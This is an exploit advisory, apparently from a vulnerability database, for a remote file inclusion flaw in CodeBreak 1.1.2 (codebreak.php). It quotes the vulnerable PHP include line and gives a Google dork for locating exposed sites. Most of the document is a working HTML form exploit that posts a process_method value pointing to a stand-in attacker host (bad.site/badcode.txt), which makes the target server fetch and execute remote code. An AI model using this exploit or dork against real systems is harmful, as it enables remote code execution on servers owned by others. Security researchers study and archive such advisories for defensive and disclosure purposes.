CodeBreak 1.1.2 (codebreak.php) Remote File Inclusion Exploit

🗓️ 17 Apr 2007 00:00:00Reported by RootType

Remote File Inclusion vulnerability found in CodeBreak 1.1.2 by John Martinelli, discovered April 2007.


                                                &lt;!--

CodeBreak&nbsp;(codebreak.php&nbsp;process_method)&nbsp;-&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability

Google&nbsp;d0rk:&nbsp;intitle:&quot;CodeBreak&nbsp;-&nbsp;Hidden&nbsp;Morse&nbsp;Code&quot;

Vulnerable&nbsp;Code:&nbsp;include($_POST[&quot;process_method&quot;]&nbsp;.&nbsp;&quot;_&quot;&nbsp;.&nbsp;$_POST[&quot;output_method&quot;]&nbsp;.&nbsp;&quot;.inc&quot;);

John&nbsp;Martinelli
[email protected]
http://john-martinelli.com

April&nbsp;11th,&nbsp;2007

!--&gt;

&lt;html&gt;
&lt;head&gt;&lt;title&gt;CodeBreak&nbsp;(codebreak.php&nbsp;process_method)&nbsp;-&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability&lt;/title&gt;&lt;body&gt;

&lt;center&gt;&lt;br&gt;&lt;br&gt;&lt;font&nbsp;size=4&gt;CodeBreak&nbsp;(codebreak.php&nbsp;process_method)&nbsp;-&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability&lt;/font&gt;&lt;br&gt;&lt;font&nbsp;size=3&gt;discovered&nbsp;by&nbsp;&lt;a&nbsp;href=&quot;http://john-martinelli.com&quot;&gt;John&nbsp;Martinelli&lt;/a&gt;&lt;br&gt;&lt;br&gt;Google&nbsp;d0rk:&nbsp;&lt;a&nbsp;href=&quot;http://www.google.com/search?q=intitle%3A%22CodeBreak+-+Hidden+Morse+Code&quot;&gt;intitle:&quot;CodeBreak&nbsp;-&nbsp;Hidden&nbsp;Morse&nbsp;Code&quot;&lt;/a&gt;&lt;/font&gt;&lt;br&gt;

&lt;br&gt;&lt;br&gt;
&lt;form&nbsp;action=&quot;http://www.target.com/codebreak.php&quot;&nbsp;method=&quot;post&quot;&gt;
&lt;input&nbsp;name=&quot;input_text&quot;&nbsp;size=75&nbsp;value=&quot;input_text&quot;&nbsp;type=hidden&gt;
&lt;input&nbsp;name=&quot;process_method&quot;&nbsp;size=75&nbsp;value=&quot;http://bad.site/badcode.txt?&quot;&gt;
&lt;input&nbsp;type=submit&nbsp;value=&quot;Execute&nbsp;RFI&nbsp;Attack&quot;&nbsp;class=&quot;button&quot;&gt;
&lt;/form&gt;

&lt;/body&gt;&lt;/html&gt;

17 Apr 2007 00:00Current

7.1High risk

Vulners AI Score7.1